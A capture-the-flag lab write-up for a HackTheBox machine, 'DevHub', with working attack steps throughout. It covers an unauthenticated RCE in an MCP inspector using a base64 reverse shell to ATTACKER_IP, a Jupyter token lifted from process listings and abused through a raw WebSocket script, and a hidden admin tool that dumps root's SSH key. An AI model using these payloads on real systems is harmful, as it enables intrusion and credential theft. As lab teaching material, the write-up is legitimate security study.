Content
# DevHub — HackTheBox Season 11 Writeup
**Difficulty:** Medium
**OS:** Linux (Ubuntu 22.04)
**Release:** 2026 (Season 11)
**Tags:** `MCP` `Jupyter` `RCE` `API Abuse` `SSH Key Dump`
---
## Summary
DevHub exposes an internal developer platform with three services: an MCP Inspector, a Jupyter Lab instance, and a Git repository. The attack chain involves exploiting an unauthenticated RCE in MCPJam Inspector to gain an initial foothold, pivoting to the `analyst` user by abusing the internal Jupyter API over WebSocket, then escalating to root by discovering a hidden administrative endpoint in an internal OPSMCP Flask server running as root.
---
## Reconnaissance
### Port Scan
```bash
nmap -sC -sV -p- --min-rate 5000 10.10.11.x -oN nmap.txt
```
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
6274/tcp open http MCPJam Inspector 1.4.2
```
### Add to /etc/hosts
```bash
echo "10.10.11.x devhub.htb" | sudo tee -a /etc/hosts
```
### Web Enumeration
Visiting `http://devhub.htb` reveals a landing page advertising three internal services:
| Service | Status |
|---|---|
| MCP Inspector | Active — Port 6274 |
| Analytics Dashboard (Jupyter) | Internal Only — localhost:8888 |
| Code Repository (Git) | Maintenance Mode |
### Discover API Routes
```bash
curl -s http://devhub.htb:6274/assets/index-DRYhT9Xb.js | grep -o '"\/api[^"]*"' | sort -u
```
Found `/api/mcp/connect` — unauthenticated, bound to `0.0.0.0`.
---
## Foothold — CVE-2026-23744 (MCPJam Inspector RCE)
MCPJam Inspector v1.4.2 is vulnerable to unauthenticated RCE via the `/api/mcp/connect` endpoint. The `serverConfig.args` field is passed directly to a shell without sanitization.
### Start Listener
```bash
nc -lvnp 4444
```
### Generate Payload
```bash
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xOTcvNDQ0NCAwPiYxCg==
```
### Trigger RCE
```bash
curl -s -X POST http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig": {
"command": "sh",
"args": ["-c", "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xOTcvNDQ0NCAwPiYxCg== | base64 -d | bash"],
"env": {}
},
"serverId": "pwned"
}'
```
Shell received as `mcp-dev`.
### Stabilize Shell
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
```
---
## Lateral Movement — mcp-dev → analyst
### Discover Internal Services
```bash
ps aux | grep -E "jupyter|opsmcp"
```
Found:
- `127.0.0.1:8888` — Jupyter Lab running as `analyst`
- `127.0.0.1:5000` — OPSMCP Flask server running as `root`
### Extract Jupyter Token
```bash
ps aux | grep jupyter
```
Token found in process arguments:
```
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
```
### List Notebooks
```bash
curl -s "http://localhost:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
```
Found: `quarterly_analysis.ipynb`, `pwn.ipynb`
### Create Kernel Session
```bash
curl -s -X POST "http://localhost:8888/api/kernels?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{}'
```
Kernel ID: `37a271e3-4f11-4ed5-afde-0e5f1b481db9`
### Execute Code via Raw WebSocket
Since `websocket-client` was unavailable (no internet), a raw WebSocket frame was crafted manually:
```python
python3 << 'EOF'
import socket, base64, os, json, struct, uuid, time
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
KERNEL_ID = "37a271e3-4f11-4ed5-afde-0e5f1b481db9"
key = base64.b64encode(os.urandom(16)).decode()
upgrade = (
f"GET /api/kernels/{KERNEL_ID}/channels?token={TOKEN} HTTP/1.1\r\n"
f"Host: localhost:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
)
s = socket.socket()
s.connect(("localhost", 8888))
s.send(upgrade.encode())
s.recv(4096) # discard 101 response
msg = json.dumps({
"header": {"msg_id": str(uuid.uuid4()), "msg_type": "execute_request",
"username": "", "session": str(uuid.uuid4()), "version": "5.0"},
"parent_header": {}, "metadata": {},
"content": {"code": "import os; print(os.popen('cat /home/analyst/user.txt').read())", "silent": False}
})
payload = msg.encode()
length = len(payload)
mask_key = os.urandom(4)
masked = bytearray([payload[i] ^ mask_key[i % 4] for i in range(length)])
if length <= 125:
header = struct.pack('!BB', 0x81, 0x80 | length) + mask_key
elif length <= 65535:
header = struct.pack('!BBH', 0x81, 0xFE, length) + mask_key
else:
header = struct.pack('!BBQ', 0x81, 0xFF, length) + mask_key
s.send(header + masked)
time.sleep(5)
print(s.recv(65535))
EOF
```
Code executes as `analyst` via the Jupyter kernel.
---
## User Flag
```
9cfd5dc906d5b588b7859424e6e0421a
```
---
## Privilege Escalation — analyst → root
### Read OPSMCP Source Code
Using the Jupyter WebSocket execution technique, read the OPSMCP server source:
```python
"code": "import os; print(os.popen('cat /opt/opsmcp/server.py').read())"
```
Key findings:
- **API Key:** `opsmcp_secret_key_4f5a6b7c8d9e0f1a`
- **Hidden tool:** `ops._admin_dump` — not listed in `/tools/list` but callable
- The hidden tool accepts `target=ssh_keys` and dumps `/root/.ssh/id_rsa`
### Call Hidden Admin Endpoint
```bash
curl -s -X POST "http://localhost:5000/tools/call" \
-H "Content-Type: application/json" \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
```
Response contains the root RSA private key.
### SSH as Root
```bash
cat > /tmp/root_key << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9
...
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/root_key
ssh -i /tmp/root_key root@10.129.5.148
```
---
## Root Flag
```
f08364d99ace8798681925311bf24d78
```
---
## Flags
| Flag | Hash |
|---|---|
| user.txt | `9cfd5dc906d5b588b7859424e6e0421a` |
| root.txt | `f08364d99ace8798681925311bf24d78` |
---
## Attack Chain
```
[MCPJam RCE] [Jupyter WebSocket] [OPSMCP Hidden API]
mcp-dev → analyst → root
(CVE-2026-23744) (Token in ps aux) (ops._admin_dump)
```
---
## CVEs Referenced
| CVE | Description | CVSS |
|---|---|---|
| CVE-2026-23744 | MCPJam Inspector unauthenticated RCE via `/api/mcp/connect` | Critical |
| CVE-2025-49596 | MCP Inspector DNS Rebinding RCE | 9.4 |
---
## Key Takeaways
- **MCP servers** can expose dangerous command execution endpoints without authentication — always bind to localhost in production.
- **Jupyter tokens** extracted from `ps aux` allow full code execution as the running user.
- **Hidden API endpoints** not listed in documentation can still be called if you read the source code — security through obscurity is not security.
- Always restrict internal services to least-privilege users and avoid running web servers as root.
Connection Info
You Might Also Like
Train-in-Silence
The first Task-Aware MCP server and automated VRAM calculator for LLM...
stacklit
108,000 lines of code. 4,000 tokens of index. One command makes any repo...
AppClaw
AI-powered mobile automation agent — describe what you want in plain...
pdf-mcp
Production-ready MCP server for PDF processing with intelligent caching....
kotadb
Local-only code intelligence API for AI developer workflows (Bun +...
gemini-api-docs-mcp
A remote HTTP MCP server for searching Google Gemini API documentation.